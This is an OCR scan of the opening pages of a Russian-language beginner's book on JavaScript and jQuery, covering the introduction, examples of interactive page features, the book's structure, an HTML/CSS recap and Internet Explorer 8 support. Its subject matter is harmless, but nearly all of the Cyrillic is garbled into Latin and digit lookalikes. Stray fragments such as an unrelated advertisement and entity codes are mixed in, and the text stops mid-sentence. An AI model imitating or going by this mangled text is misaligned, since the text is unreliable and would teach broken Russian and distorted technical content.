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DTa KHWUra pacckasblBaeT 0 TOM, Kak B bpay-

3epe MOXEeT MCNOo/Ib30BaTbCA A3bIK JavaScript.

Kop JavaScript nomoraeT genatb canTbl bosee
NHTEPAKTUBHbIMU, UHTEPECHBIMU U YA0OHBIMU
Ang nonb3oBaTtens. Kpome Toro, Bbl MO3HaKOMM-
Tecb ¢ bubanoTekon jQuery, KoTopas 3Ha4YNTESIbHO
ynpoLlaeT nporpamMmmupoBaHme Ha JavaScript.

YT00bI U3YUYNTb 3TY KHUTY MaKCUMasibHO 3G DEKTUBHO, YNTATE b A0/IKEH
yMeTb co3aBaTb Beb-CTpaHMLbl U BEpCTaTb UX C UCMOJIb30OBAHNEM A3bIKOB
HTML n CSS. Hnkakoro Apyroro fOnoJHUTEIbHOIO OMblTa NPOrpamMmMmnpoBa-
HUA He TpebyeTcs. YTobbl HAYUYNTbCA NporpamMmmMpoBaTh Ha JavaScript, Bam
noHazobuTcs cnegytoLee.

1 2 3

MoHMMaTb HEKoTOpble M3yunTb cam sa3bik. Kak OcBowuTb rpumeHeHune

6a30Bble KOHLenyum 1N B Caydae C 1tobbiM sa3blka JavaScript. Ansa

nporpammupoBaHus, APYTUM A3bIKOM, Bbl 3TOro B KHUre npu-

a Tak>Xe TEPMUHbI, Uc- [O/IXKHbI ByaeTe OCBOUTH  BEAEHO MHOXECTBO

nosib3yemble B A3blke «cnosapby JavaScript npYMepoB, AEMOHCTPU-

JavaScript. N HAay4YnTbCA CTPOUTDL PYIOLLMX, KaK CerogHs
«dpasbiy. ncnonb3lyetcsa JavaScript.

Jna paboTbl C KHUTOM BaM NOHaZ0bUTCA TONbKO KOMMbIOTEP, HAa KOTOPOM
YyCTaHOBJIEH COBPEMeHHbI Beb-6pay3ep, a Takke Ball /I06UMbIIA TEKCTOBbIN
pefakTop AN HanucaHus koda — Hanpumep, banokHoT (Notepad), TextEdit,
Sublime Text nnun Coda.

BBEOEHUE



Kaxxaaa rnaBa HaunHaeTcs C BBege-
HUSA, B KOTOPOM NEPEHNCTAOTCA BCE €€
OCHOBHbIE TEMbI

CTpaHuLbl C OCHOBHOM MHdOpMaLnen
nMetoT 6esblin GOH 1 Tak>Ke coaepxaT
pacluMpeHHble CBeAEHUS MO Teme, 06-

Cy)KAaeMOVI B rnaee

Pazzenbi c npumepamm o6beANHAOT
N3yYeHHbIE TEMbI U JEMOHCTPUPYIOT
NpakTUYecKoe NpUMEHEHWE U30XKEH-
HoW BblLLe HbOpMaLmm

Ha cnpaBoYHbIX CTpaHMLax NpeacTas-
NeHbl OCHOBHble 3/1eMeHTbl JavaScript.
HTML-koA4 BblAENEH CUHUM LLBETOM,
CSS-koa — po30BbIM, JavaScript-kog —
3e/1eHbIM

Anarpammbl n Hborpadurka npeacTas-
JIeHbl Ha CTpPaHMLAX C TEMHbIM GOHOM —
3TO MPOCTOW BU3YasibHbI NCTOYHMK
CcrnpaBoYHON MHDOPMALMK MO 06CYXK-
AaemMon Teme

OB30¥

P
@YHKLV, METORb, OBLEKTH

B KOHLIe KaXkZ0W rnasbl NpuBeaeH 0630p,
rae HanomMmHaeTcss 06 OCHOBHbIX MO-
MEeHTax PaCCMOTPEHHbIX TEM

BBEOEHUE @



KAK JAVASCRIPT
NMOMOTAET YJIYULLUNTb
MHTEPAKTUBHOCTb
BEB-CTPAHNLI Aohik

JavaScript
noseosigeT NpuaaThb
Beb-cTpaHuLuam
AOMOJIHNTE/NIbHYIO
WHTEPAKTUBHOCTb, TaK KakK
npeAocTaBAAeT AOCTYN K UX
KOHTEHTY M BO3MOXHOCTb

-l B M3MEHSATDb ero, a TakXxe
\ pasmMeTKy Ha Beb-CcTpaHuLe,

OOCTYI K KOHTEHTY Korga oHa oTKpbITa
B bpaysepe.

A3bik JavaScript no3BonsieT BbIAEINTL Ha
HTML-cTpaHuLe Noboi 3n1eMeHT, aTpuby T
WK TEKCT, Hanpumep:
® BbIAENNTb TEKCT BO BCEX 31eMeHTax hil,
pPacrnosOXeHHbIX Ha CTpaHuLe; 4 2
® BbIZENINTb BCE 3/IEMEHTbI, UMeoLLne
aTpubyT class CO 3HaYeHMEM note; NM3MEHEHWME KOHTEHTA
® Yy3HaTb, Kakaa uHdopmauus boina A3bIk JavaScript MoXxHO ncnonb3oBaTthb A4NS
BBeJeHa B TEKCTOBOE MNOJIe, Yel aTpubyT fobaBneHusa Ha cTpaHuuy (Unu anda yaane-
id nmeeT 3HaveHune email. HWA C HEee) 3/IeMeHTOB, aTpMbyTOB 1 TeKCTa,
Hanpumep:
e pno06aBuTbL ab3al TekcTa Noc/e NepBoro
3n1emMeHTa hi;
M3MEHWUTb 3HaYeHne aTpnbyToB class,
4TO6bI BCTYNWAN B CU/Y HOBbIE NpaBuia
CSS, KoTOpble KOCHYTCH 3/1EMEHTOB
C 3TUMMK aTpubyTamu;
M3MEHUTb pasmep Wan NosIoXeHne
3/1eMeHTa img.

il



3

NMPOIrPAMMNPOBAHNE TTPABWJI

S3bik JavaScript no3BonseT ykasaTb nocnesoBaTesb-
HOCTb OMepaLnin, KOTopble J0JIKEH BbIMONHUTL Bpaysep
(3TO NOX0Xe Ha KyIMHapHbIM pelenT). JlaHHasa nocaeao-
BaTe/IbHOCTb 06ecneymBaeT 4OCTYN K KOHTEHTY CTPaHN-
bl NM6O AaeT BO3MOXHOCTb U3MEHATb €ro, Hanpumep:
® ClueHapui ranepen N03BOJISIET Yy3HATb, MO KakoMy
1M306paxKeHnIo Nob30BaTE/Ib LLETKHY MbILLbIO,
a3aTeM NoKasaTb YBEJIMYEHHbIN BapUaHT 3TOro
nsobpaxeHus;
MMNOTEYHbI KaNbKyNAaATOp No3eonseT cobpaTth
3HAYEHUA M3 GOPMbI, BbINOHUTbL PacyeTbl 1
0TO6pPasnTb BEIMYMHBI MAATEXEN;
aHVMMauMa NO3BONASIET NPOBEPUTb pasmepbl OKHa
6pay3epa v NepeMecTUTb M306paxeHne B HUXHIOK
yacTb o6nacTtu npocmoTpa (Takxe ynotpebngaerca
TEPMUH KOKHO NMPOCMOTpa»).

B JavaScript

,D,EVICTByIOT MHOrume

O6LL|,€I/I3BeCTHbIe npasusia

NporpaMmMnpoBaHus. PEATMPOBAHWE HA COBbITUA

S3bik JavaScript gaeT BO3MOXHOCTb CO3/aTh CLie-
Hapuii, 3anycKatLLNNCA Noce KOHKPETHOro cobbl-
CTpaHULY MHTEPAKTUBHOMN, T, BOT HECKOIbKO NMPUMEPOB TakKnX COBbITHIA:
no/sb3oBaTe b Haxas KHOMKY;

No/1b30BaTe b LLIESIKHY/T MbILLIbIO MO CChI/IKE
noJsib3oBaTend. (MW KOCHY/CS ee Ha CEHCOPHOM 3KpaHe);
yKasaTe b MbiLLM Obl/l HaBe/eH Ha Kakon-1m6o
3/1IEMEHT;

nosib3oBaTe b BBE/ AaHHble B GOpMY;

npoLuesn 3apaHee yCTaHOBJIEHHbIN

ITOT A3blK MOMOraeT cAaenaTtb

pearmpytoLlen Ha 4enCcTBUSA

BPEMEHHOW HTepBan;
3aBepLuMnach 3arpyska Beb-cTpaHuLbl.

BBEOEHUE



"MPNMEPDBI JAVASCRIPT-KOA

B BPAY3EPE

BO3MOXHOCTb MU3MEHATb KOHTEHT YKe 3arpy>xeHHon B bpaysepe HTML-

CTpaHM1Lbl AaeT Maccy NpenmmyLLecTB. [prBeaeHHble HXKe MpUMEepPbl OCHO-

BbIBAOTCSI HA TOM, YTO pa3paboTymk Yepes NPOrpamMMHbI KO MOXET:

® MO/ly4aTb JOCTYMN K KOHTEHTY CTPaHuLbl;
®* U3MEHATb KOHTEHT CTPaHNLbl;

® 3agaBaTb (npOFpaMMMpOBaTb) npaswnaa Nan NHCTPYKUWKW, KOTOPbIM AOJ1IXXeEH C/ieJ0BaTb

bpaysep;

®* pearnpoBaTb Ha CO6bITVI$'—|, MHUUnMmpyemble nosibsoBaTtesieM nan 6pay3ep0M.

B HUKOAQ He MPOBOBANM HUYero.
nogooro. Hawa nactuna rotosutca
13 TPORUIMOHHHIX HaTypPanBHAX
VHIPEaeHTOB 1 MmeeT HeoBkIvaiHo
HacsienHuIA eyl

CNhAMO-LoY

(cm. rnasy 11)

Cnang-woy no3BonsaiT NoCAe0BaTeIbHO
oTobpaxaTb HEKOTOPOE KOJIMYECTBO N30~
6paxeHnin (unm apyroro HTML-KoHTeHTa)

B 04HOM 061aCcTN KOHKpEeTHOW Beb-CcTpa-
Huubl. Cnang-woy nnbo npourpsiBaeTcs
aBToMaTmyecku, iMbo NnpeAocTaBASeT NO/b-
30BaTesIt0 BO3MOXHOCTb CAMOCTOATE/IbHO
BbIOMpaTb M MPOCMaTPUBATb UHTEPECYIOLLME
ero nsobpaxenusi. Cnaia-woy nossonsieT
yBENMYNTbL 06beM KOHTEHTa, 0Tobpaxkaemo-
ro B OrpaHM4YeHHOM NPOCTPAHCTBE.
PearnpoBaHue: Ha cLeHapuu, cpabaTbiBato-
Line npu 3arpyske CTpaHuLbl.

AocTyn pa3spaboTumka: K Kaxx oMy nsobpa-
XEHWIO Cnana-Luoy.

MN3MeHeHMne: MOXHO NoKa3biBaTb NLLUbL Nep-
BblA CNang, a ocTasibHble CKPbIBATb.
MporpammupoBaHue: ycTaHOBKa Tanmepa,
onpefensioLLero, korga ciefyeT Nokasbl-
BaTb OYepeaHON cana.

PearnpoBaHue: Ha HaXxaTue nNosb3oBaTe-
NIeM KHOMKW, COOTBETCTBYIOLLEN APYromMy
cnanay.

MporpammupoBaHue: onpegeneHne, Kakown
cnawnp nokasbiBaThb.

MN3meHeHMe: feMOHCTpaLms 3anpoLLUeHHOro
cnamnaa.

@ BBEOEHUE

Perucrpanus TIpodurs
P

Hara poxpgesus.
e | | 220

YeraronvTe Gaxox, eci

ﬂgﬁn

coobluecTeo

Apec onexrpoutoi mowTs:

CrA—

UrneHcT] Tapons:

Hosropure mapors:

OOPMbI

(cm. rnasy 13)

Banngaums ¢opm (NposBepka Toro,
NPaBU/IbHO /M OHM 3aMOJIHEHbI) BaXHa
B C/ly4asix, KOrja Ha canTe NnpMHUMaeTcs
nHdOpMaLmsa, BBOAMMAs MOJSib30BaTe-
namu. JavaScript-koa nossonsiet npea-
ynpexzaaTb nosib3oBaTtens ob ownbkax
B 3aM0/IHEHUM GOPMbI, €C/IM OHWN BO3-
HUMKHYT. Kpome TOro, JavaScript nosso-
NseT BbINOMHATb 4OBOJ/IbHO CIOXHbIE
BblYNC/IEHNSA C UCMOIb30BAHNEM BBE-
AEHHbIX AaHHbIX, N MOKa3biBaTb NOAY-
YeHHble pe3y/bTaTbl MO/Ib30BaTEIO.

PearnpoBaHue: Ha HaxxaTue No/b30-
BaTesieM KHOMKW OTnpaBkn Gopmbl Mo
3aBepLUeHnN BBOAA.

AocTyn paspaboTumka: K BBeAeHHOMY
B nose GopMbl 3HAYEHUIO.
MporpammupoBaHue: nposepka Toro,
A0CTaTOYHO 1N ANVNHHbBIM ABAAETCA
3HayeHwue.

M3meHeHume: nokas npegynpexzjatoLie-
ro coobLeHus, B Caly4ae eC/v BBeeH-
Hoe 3HauyeHMe HeZO0CTaTOYHO A/IMHHOE.



BbiLuenpuseeHHble NpUMepPbl MOMO-
ratT COCTaBUTb BNeYyaT/IEHNE O TOM,
4YTO MOXHO cAenaTh Ha Beb-cTpaHuLe
npv nomolum JavaScript-koaa, a Takxe

O npuemax, NpuBeAeHHbIX Ha CTpaHuLax
3TOW KHUT K.

//')\\'-_\\ FIABHASL  COBbITUS  WPPYIIKM  [UIAH

MO3rOBO WTYPM

Mpocbinaiiteck! HauMHaeTCsi MO3roBOM LUTYPM...

30-Monenuposase.

 O6en w3 3D-npurepa

Sanyex aponos

500 Banow uenn

Barnan 6 Gyayuee

NMNEPE3AIPY3KA
OPAIMMEHTA CTPAHNWLUbI

(cm. rnasy 8)

BO3MOXHO, Bbl HE XOTUTE, YTOHbI MNO/b-
30BaTe M Nepe3arpy>xasnu Bcto Beb-
CTpaHuLy LesIMKoM, 0CobeHHO Koraa
TpebyeTcs 06HOBUTbL NNLLL HEGObLLYHO
ee yacTb. [lepe3arpysnTb 04WH KOHKpeT-
HbIl dparmMeHT CTpaHuLbl kyaa beicTpee,
a canT TeM caMbiM PYHKLNOHAbHO
CTaHeT MNOXOoX Ha BeB-NpuioxeHue.

PearnpoBaHue: Ha cLieHapuii, cpabaTbi-
BalOLLUN, KOTAa Noib30BaTe b LenkaeT
Mo CChbl/IKe.

AocTyn paspaboTumKa: K CCbisIKe, MO
KOTOPOW LWeIKHY No/Ib30BaTe b.

MporpammupoBaHue: 3arpyska HOBOrO
KOHTEHTA, 3anpoLLIEHHOr0 Mo CChl/IKe.

JocTyn pa3spaboTumKka: Haxox/aeHne Ha
CTpaHuLe 3/1EMEHTA, KOTOPbIA HE0HX0-
AVMO 3aMEHMUTD.

N3meHeHune: 3amMeHa MMeoLLerocs KoH-
TEHTa Ha HOBbIN.

B cnegytolmx rnaBax Bbl y3HaeTe, Korga
M KaK MOXHO NoJly4aTb AOCTYM K KOH-
TEHTY U U3SMEHATb ero, Kak Nporpamm-
HbIMW CpeficTBaMM 3aZlaBaTb NpaBua

M pearnposaTb Ha COObLITUS.

R woveronsi() " Wamoerparope ) Gurorpobui(s) Oneparops () siiepsi 3

OUNTTBTPALNSA
OAHHbBIX

(cm. rnaey 12)

Ecnn Ha cTpaHuue cofepXnTcsa cCpaBHU-
TeNbHO MHOT0 UHOPMaLMK, TO MOXHO
NMOMOYb MOMb30BATE/O HAUTU UMEHHO
Te AlaHHble, KOTOPble ero UHTEpPeCytoT.
Ana 3Toro npuMeHsoTcs GUIbTPLI.

B Hawem cnyyae KHOMKWN reHepupyoTCs
npv NOMOLLUM faHHbIX, COAEepPXKaLLUNXCA

B aTpnbyTax HTML-anemeHTOB img.
Korga nonb3oBaTesb WenKaeT MblLUbIO
No KHOMKaM, OH Nosly4yaeT /nLb Te N30-
6paxkeHns, KOTopble CHAbXEHbl HY XHbIM
KJ1t04EBbIM C/IOBOM.

PearvpoBaHue: Ha clieHapuin, cpabatbl-
BaOLLMM MNpK 3arpy3ke CTpaHULbI.

MporpammunpoBaHue: cobrpaHmne K-
4yeBblX C/10B U3 aTpnbyToB n3obpaxe-
HNRA.

MporpammupoeaHue: npeobpasosaHune
K/IIOYEBbIX C/IOB B KHOMKM, HA KOTOpble
MOXeT HaXXMMaTb MoJib30BaTE b.

PearumpoBaHume: Ha HaxaTwue Nosb3oBa-
Tenem o4HOM U3 KHOMOK

MporpammupoBaHue: HaxoxXaeHne
NnoAMHOXeCTBa M306paxxeHuin, KoTopble
cneayeT nokasaTb.

MN3meHeHMe: AeMOHCTpaLna noabopku
n3obpaxkeHni, UCNonb3yoLMx onpeae-
NeHHbIN Ter.

BBEOEHUE @



CTPYKTYPA KHUTWU

YT06bI MOMOYb BaM U3y4nTb JavaScript, mbl pasgenvnm

KHUIy Ha AB€ 4aCTW.

KOHLUEMUWMA

B nepBbIx AeBATV rNaBax Bbl MO3HAKOMMU-
TeCb C OCHOBaMM NporpamMmMmpoBaHuns Ha
JavaScript. Bam npeacTonT y3HaTb, Kak 3TOT
A3bIK MO3BOJIAET CO34aBaTb Hbonee yBre-
KaTesbHble, MHTEPAKTUBHbIE U Y10OHbIE
CaunThl.

naBa1nocesLleHa HEKOTOPbIM K/TKOYEBBIM
KOHLeNUMsaM KOMMNbIOTEPHOTO Mporpam-
MUpOBaHUS. Bbl y3HaeTe, Kak KOMNbloTep
onepupyeT AaHHbIMM 1 CO3aeT Ha UX
OCHOBE MoAe b MUpPa, Kak a3blk JavaScript
NCMNOb3yeTCs A1 USMEHEHWSI KOHTEHTA
HTML-cTpaHuL,.

FnaBbl 2-4 pacckasbiBaloT 06 ocHOBax
a3blka JavaScript.

B rnaBe 5 o6bsicHaeTCS, Kak 06beKkTHas
mMogesnb gokymeHTa (DOM) nossonseT
NnoJlyyaTb JOCTYM K KOHTEHTY OKYMEHTa
N N3MEHSTb ero, Korga cTpaHuua yxe 3a-
rpy>xeHa B 6paysepe.

B rnaee 6 Mbl MOrOBOPUM O TOM, KaK MOXHO
NHNLMMPOBATb BbIMOJHEHWE TOMO UM UHO-
ro KoZa npu NOMOLLIM COBbITUNR.

FnaBa 7 pacckasbiBaeT o 6ubnnoTteke
jQuery, KoTopas MoMoraeT ynpocTuTb 1
YyCKOPWUTb HanmMcaHue cLeHapmes.

B rnaBe 8 mbl no3Hakommmcsa ¢ Ajax — Ha-
60pOM NpakTUYEeCKUX MPUEMOB, MO3BO-
NAOLLMX U3MEHATb YacTb BEG-CTpaHuLbI,
He nepesarpyxas ee LeJIMkom

B rnaBe 9 paccmaTpumBatoTcs MHTepdeENChI
nporpammmpoBaHma npunoxennin (API).
3/4eCb Mbl 3aTPOHEM 1 CPABHUTENBHO
HoBble AP, npeaHasHaveHHble 415 paboTbl
¢ HTML5 1 Taknumum canTtamm, kak Google
KapTbl.

BBEOEHUE

NMPAKTUKA

K Ha4yany BTOpoW 4acTu Bbl yXXe ycrneeTe ns-
Y4YUTb MHOXECTBO NPMMEpPOB UCMOJ/1b30Ba-
HUs JavaScript-cueHapnes Ha NONyASPHbIX
canTax. 34ecb Mbl 0606LLMM BCE NpUEMbI,
OCBOEHHble BaMW paHee, U MPOAEMOHCTPU-
pyem, kak NpodeccnoHasnbl NpUMEHSIOT
a3blk JavaScript Ha npakTuke. Mbl no3Hako-
MMM Bac He TOJIbKO C pSAOM NPOABUHY TbIX
NpYMEepOB, HO K Hay4yUM pa3pabaTbiBaTb
CUEeHapun 1 NucaThb UX C HYNS.

FnaBa 10 nocesAlleHa olnbKam 1 oTnagke.
34ecb Mbl N0APOHHO 06CYAMM, Kak KOM-
nbtoTep obpabaTbiBaeT JavaScript-koa,.

B rnaBe 11 paccmoTpeHbl crnocobbl co3-
AaHWUS KOHTEHT-NaHenen, B YaCTHOCTH,
CcnanaepoB, MOZa/IbHbIX OKOH, MaHenen ¢
BK/1afikaMW 1N aKKOpPLEOHOB.

B rnaee 12 mbl 06cyamm pas cnocobos
dUNLTPaLUMN 1 COPTUPOBKM AaHHbIX.

B yacTHOCTU, peyb NOMAET 0 GUALTPaLmm
ranepewv n3obpaxeHuin n o neperpynnu-
pOBKe CTPOK B Tab/umue, Npon3BOANMMONA,
KOrZia no/fib30BaTe b LLeIKaeT Mo 3aroo.-
Kam CToNbL0B.

FnaBa 13 nocssLleHa pasINyHbIM yyuLle-
Husim bopm 1 Banugauum anucei B dop-
Max.

Ecnny Bac HeT 60/1bLLIOrO OMbITa B NPo-
rpaMmMmMpoBaHNK, Bam Bbl/10 Obl MOSIE3HO
B MepBbIi pa3 NPoYUTaTb KHUMY OT Hayana
" A0 KoHLa. OHaKo Mbl HaZleeMcs, 4To,
KOrza Bbl OCBOMTE OCHOBbI MPOrpaMmMm-
pPOBaHWSA M CTAaHeTE MMCaTb COBCTBEHHbIE
CLleHapuu, 3Ta KH1ra ocTaHeTcs A5 Bac
NoJIe3HbIM CMPaBOYHNKOM.



HTML U CSS:
KPATKUWM 9KCKYPC

MpeXxxae yem nepexoanTb K N3y4eHUto a3bika JavaScript,
AaBanTe BCMOMHUM HekoTopble acnekTbl HTML n CSS n,
B YaCTHOCTU, MOFrOBOPUM O TOM, Kak aTpubyTbl HTML 1
cBoncTBa CSS 06pasyroT napbl KMMs/3HaYeHnEe.

HTML-2JIEMEHTbI

DN1eMeHTbI A3bIKa Kak npaswno, Teru nc- OTkpbiBaloLne Tern
HTML coaep>xaTtcs MnoNAb3ylTCA NOMNAapHO MOFYT CONPOBOXAATbCS
Ha Be6-cTpaHuue Ans (oTKpbIBatOLWMI NAOC aTpubyTtamu. ATpubyT
pa3MeTKu ee CTPYKTY- 3akpblBatoLwLnn). He- nogpobHee xapakTepu-
pbl. 91EMEHT COCTOUT KOTOpblE 3/1IEMEHTbI 3yeT AaHHbI 3/1IEMEHT.
13 OTKpbIBaOLLErO He UMEeIT KOHTEHTa 1 Ka>xxabii aTpnbyT umeet
Tera, 3aKpbiBatoLLLEero No3TOMY Ha3biBalOTCA MMS U 3HAYEeHUE, KOTO-
Tera v coaep>Xmmoro «nycTbiMmuy (Hanpumep, poe 06bIYHO 3aK/oYaeT-
(koHTeHTa). 3/IeMeHT img). Y HUX ecTb CS B KaBbIYKMW.

TOJIbKO OAUH CaMO3a-
KpblBaFOLLI,VIVICFI TEer.

OTKPbIBAKOLLNN TEr 3AKPbIBAIOLLNN TEr
[ I 1 I_l_l
<p class="fruit">nepcuk</p>

| | | |
I I
nmg 3HAYEHUE
ATPUBYTA ATPUBYTA

NMPABWUJIA CSS

B Tabnnyax CSS ncnonb- CenekTtop CSS ykasbiBa- Y Kaxxaoro o6bsBnEeHMUS
3yloTCS NpaBuna, ykasbl- €T, Kakon 3ieMeHT (unu B 6/710Ke eCTb CBONCTBO
BaloLlue, Kak B bpaysepe 3/IEMEeHTbI) NoAUYUHSA- (acnekT, KOTOPbIM Bbl
JOJIXXeH oTobpaxkaTbce eTcsa AaHHOMY npaBu- XOTUTE YyNpaBaATh) U
KOHTEHT O4HOT0 NUun ny. bnok o6bABAEHUIA npuceBanBaemoe emy
HEeCKO/IbKUX 3/1eMEHTOB. coaepXuUT uHpopmaymio 3HayeHue.
B ka>xaom npasune CSS O TOM, KaK A0JIXHbl Bbl-
ecTb cenekTop u 610K rNsAeTb 3TN 31I€MEHTbI.
06bABNAEHWIN.

CEJIEKTOP BJIOK OB bSIBJIEHUS

fruit {color: pink;}
——

ums 3HAYEHME
CBOMCTBA CBOWCTBA

BBEAEHUE @



NOLOLEPXXKA
BPAY3EPAMU

HekoTopbie NnpuMepsbl, MPUBEAEHHbIE B 3TOM KHUTE, HE pa-
boTatoT B bpay3epax Internet Explorer 8 u 6onee paHHuUX.
B crneayoLLnx rnaBax Mbl KOCHEMCS TOTO, Kak c/eayeT
paboTaTb CO CTapbiMuM BEpCUSAMUM Dpay3epoB.

B kaxgon Bepcuun Beb-6paysepa no-
ABASIOTCS HOBbIE BO3SMOXHOCTMU. 3a-
YacTylo OHM YNPOLLAIOT peLleHne Tex
WA MHbIX 3a4a4 nbo cumTatoTcs bonee
XenaTenbHbIMU ANA yNoTpebneHns, 4em
cTapble NpUembl.

OfHaKo Aasfieko He BCe NoJib30BaTeNn
NHTepHeTa cTpemMsTCc 0OBHOBAATL CBOU
6pay3epbl 0 CaMbIX NOCAEAHUX BEPCUNA,
nosToMy Beb-pa3paboTumk He MOXeT
onMpaTbCsa NLLb Ha HOBEWLLME TEXHO-
norun.

Kak 6ygeT nokasaHo HUXe, NoAAep>KKa
TeX UKW UHbIX GYyHKUMIA Bpay3epamum
0CTaeTCs BO MHOMOM HECOT/1IaCOBaHHOM,
M Takue NPOTUBOPEYNst OTpaxatTcs

Ha JavaScript-paspaboTke. Bubnmnoreka
jQuery nomoraeT HUBeIMPOBaTb Takue
KpoccbpaysepHble pa3nmuns (B 3ToM

M 3aK/1l04aeTCs 0Ha U3 OCHOBHbIX
npuuymH, noyemy jQuery Tak bbicTpo
npuobpena nonynapHoCTb cpeamn Beb-
pa3paboTumnkoB). Bnpouem, npexge yem
3HakoMuUTbCA ¢ jQuery, faBanTe pas-
6epemcs, 4ero UMeHHO oHa nomoraet
[0CTWYb.

BBEOEHUE

YTOobbl yNpoCTUTb M3yUeHMe A3blka
JavaScript, Mbl nocBATUM NepBble He-
CKOJIbKO FN1aB TakUM BO3MOXHOCTSAM
3TOro A3blka, KOTOPble HE MoAAEePXUN-
BatoTcd B 6paysepe Internet Explorer 8,
N TEM He MeHee:

= flafiee Ha CTpaHuLax 3TOM KHUT U
Bbl Hay4yuTecb paboTaThb C Internet
Explorer 8 n 6onee ctapbimu bpay-
3epamu (MOCKObKY HaM U3BECT-
HO, HaCKO/1bKO pacnpoCTpaHeHbl
KJIMEHTCKNE NporpamMmmsl, Tpebyio-
wmne GyHKLMOHMPOBAHUSA CanToB
B Internet Explorer 8) — ana atoro
BaM NpOCTO HYXHO byaeT HEMHO-
ro fiyyile pasbupatbca B koge u
YUYNTbIBATb PSA AONONHNTENbHbIX
npobnem;

cpean GannoB NpMMepoB Bbl Hal-
AeTe anbTepHaTUBHbIE BapUaHThbI
peLleHns KaxX4oro npumepa, He
paboTatoulero B Internet Explorer 8
B TOM BW/Ae, B KOTOPOM OHO Npu-
BeJEeHO Y Hac B KHUre; NoXanymncra,
coobLanTe Ham 0 TakMX Ccaydaax —
Ham Ba>XHO 3HaTb 060 Bcex Npobne-
Max, BO3HUKLLUNX Yy yntatenemn npu
N3yyeHUn matepunana.






[MpexAae 4em Bbl HAYy4YnTEeCb NMCATb KO Ha A3bl-
ke JavaScript u yMTaTh €ro, Bam HeobxoAMMO MNo-
3HAKOMMUTbLCS C HEKOTOPbIMM KNHOYEBLIMW KOHLEM-
LNAMU MPOrpaMMMPOBaAHMS Kak TakoBOro. OHWM
OyAyT pacCMOTpPEHbI B TPEX pas/iesiax 3ToW rnasbl.

YT0 Takoe cueHapum Kakoe mecTo komnbtoTe-  Kak HanucaTb CLeHapun
M KaK ero HanmcaTb. pbl 3aHUMaIOT B HaLleM Ansa Beb-cTpaHnLbl.
mMupe.

M3y4YnB OCHOBbI, Bbl MOXETE MEPEXOANTb K C/IeyIOLLMM rnasam. B Hux byaeT
paccMOTPeHO, Kak CTaBUTb Bpay3epy Te UK UHble 3a4a4n C UCMOb30BaHM-

em s3blka JavaScript.

@ OCHOBbI MPOrPAMMUPOBAHUSA
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CUEHAPUN — 3TO HABOP
MHCTPYKLINW

CueHapuim — 3To Habop UHCTPYKL U, KOTOPbIM

AO0JIKEH CejoBaTb KOMMNbIOTEP A1 AOCTUXKEHNS
TOW MAn nHowm uenn. CueHapmm MOXHO CPaBHUTb
CO CaieAYLWMMU BUAAMU AOKYMEHTOB.

KYJTMHAPHbIE PELEMTbI

PeLlenT cOCTOMT M3 UHCTPYKLUNIA,
KOTOpble U3aratTcs no nopajg-
Ky o4Ha 3a gpyron. Ecam nosap
B TOYHOCTM ByZeT npuaepxn-
BaTbCHA NOC/IE0BATENbHOCTH
onepauuin, ONMCaHHbIX B peuen-
Te, TO OH CMOXET NPUTroTOBUTb
Aaxe Takoe 6711040, Kakoro ele
HUKOrfa He genarn.

HekoTopble ceHapuu 4OBOJIbHO
NpocTbl M NpegycmaTpusatoT
peannsaunio BCero o4Horo aen-
CTBUS — UX MOXHO CPaBHUTb

C anyHuuen. pyrune cueHapumn
CNOCOBHbI BbINMOHATH MHOXe-
CTBO 3ajay, Takasi nporpaMmma
ckopee HanomuHaeT obea 13
Tpex 61104,

ELle 04HO CXOACTBO MeEXAY
KynMHapven n nporpaMmmMmmnpoBa-
HUEM 3aK/1l04aeTCa B TOM, YTO,
KOrZa Bbl HaYMHaeTe oCBaMBaTb
nwboe 13 3TUX MCKYCCTB, BaM
NPUXOAMTCH 3ayuYmnBaTb Maccy
HOBOW TEPMMUHOIOM UK.

B“a 2108;21081 1083;210831
2109;21091;21093;21083
i NAHENDID ynPABAEHNA

099;21099

‘yCTPONCTBO,PEMONT,SHCTRYATALNR,
TEXNHYECHOE OBEAYHMBRANE

NHCTPYKTAXKN

KpynHble KOMNaHWKM 4acTo
npegnaraloT UHCTPYKTa>Xn
AN HOBbIX COTPYAHUKOB,
rae onmcbiBaeTcAd, Kak cne-
AyeT BeCTun cebsB onpeae-
NNEHHbIX CUTYyaUunax.

Hanpumep, B UHCTpyKTaxe
No rOCTUHUYHOMY Aeny
MOTYT JaBaTbCs NoLWaroBble
OMNMnUCcaHna 4encTBUN Npwn
peanmsaymm pasanyHbix
cLeHapuneB: rocTb CHUMa-
eT Homep, Heobxo4NMMO
ybpaTb B KOMHaTe, cpabo-
Tana noxapHas CMrHanmsa-
UMsS N T 4.

B nto60oM 13 NoA06HbIX
cueHapuneB COTPYAHUK
rOCTUHMULbI AONXKEH Bbl-
NONHATb UMEHHO TOT Habop
AEeNCTBUIM, KOTOPbIN CO-
OTBETCTBYET KOHKPETHOM
cuTyaumu. leicTBMTENBHO,
eC/IM B TOCTUHNLY NpuLlen
HOBbI NOCTOAEL, TO BOBCE
He HY>XHO NepeynTbIBaTb
BeCb JOKYMEHT, 4TObbI
BbIAATb FOCTIO K/TIOYM OT
Homepa. AHaNOTUYHO Npu
BbINO/IHEHWW C/TOXKHOTO
cueHapusa bpaysep MOXeT
MNCMNOJIb30BaTb U3 BCEMO
AOCTYMHOro KoAa NnLb
HebobLIoe MOAMHOXECTBO
VHCTPYKLUMA.

OCHOBbI MPOrPAMMUPOBAHUA

PYKOBOOCTBA

ABTOMEXAHUKM YaCTO 3arnajbl-
BaloT nNpu paboTe B pykoBOA-
CTBa MO PEMOHTY, 0COBEHHO
€C/IM B MacTepckyto nocTynaer
aBTOMO6W/Ib TaKoM MoZenu, ¢
KOTOpOW paHee He A0BOAUIOCH
MMeTb gena. B pykosoacTee
onmncaH psg TeCTOB, MO3BOA-
LWMX NpoBepuThb, paboTaroT n
OCHOBHble PYHKL MM aBTOMOBU-
/19 U Ha MeCTe /i1 BCe JeTanu.
PYyKOBOACTBO OMUCbIBAET, Kak
YCTPaHATb HEMCMPABHOCTH,
BbISIB/ISEMbIE B MpoLecce
pEMOHTa.

Hanpumep, B AOKYMeEHTe MOXeT
6bITb NOAPOOHO ONMCaH Npo-
Llecc NnpoBepku Topmo3oB.. Ecin
3TOT TECT NPONAET YCMNELLHO,
MEXaHWK CMOXEeT NpUCTYNUTb

K cneaytouiemy. Ho ecnm byayt
obHapyXeHbl Npobiembl C TOp-
MO3aMM, MeXaHUKY NpuaeTcs
WX OTPEMOHTWUPOBATb, BbIMO/I-
HUB PA4 MHCTPYKLUNNA.

Mocie 3TOro oH AoJIXeH byaeT
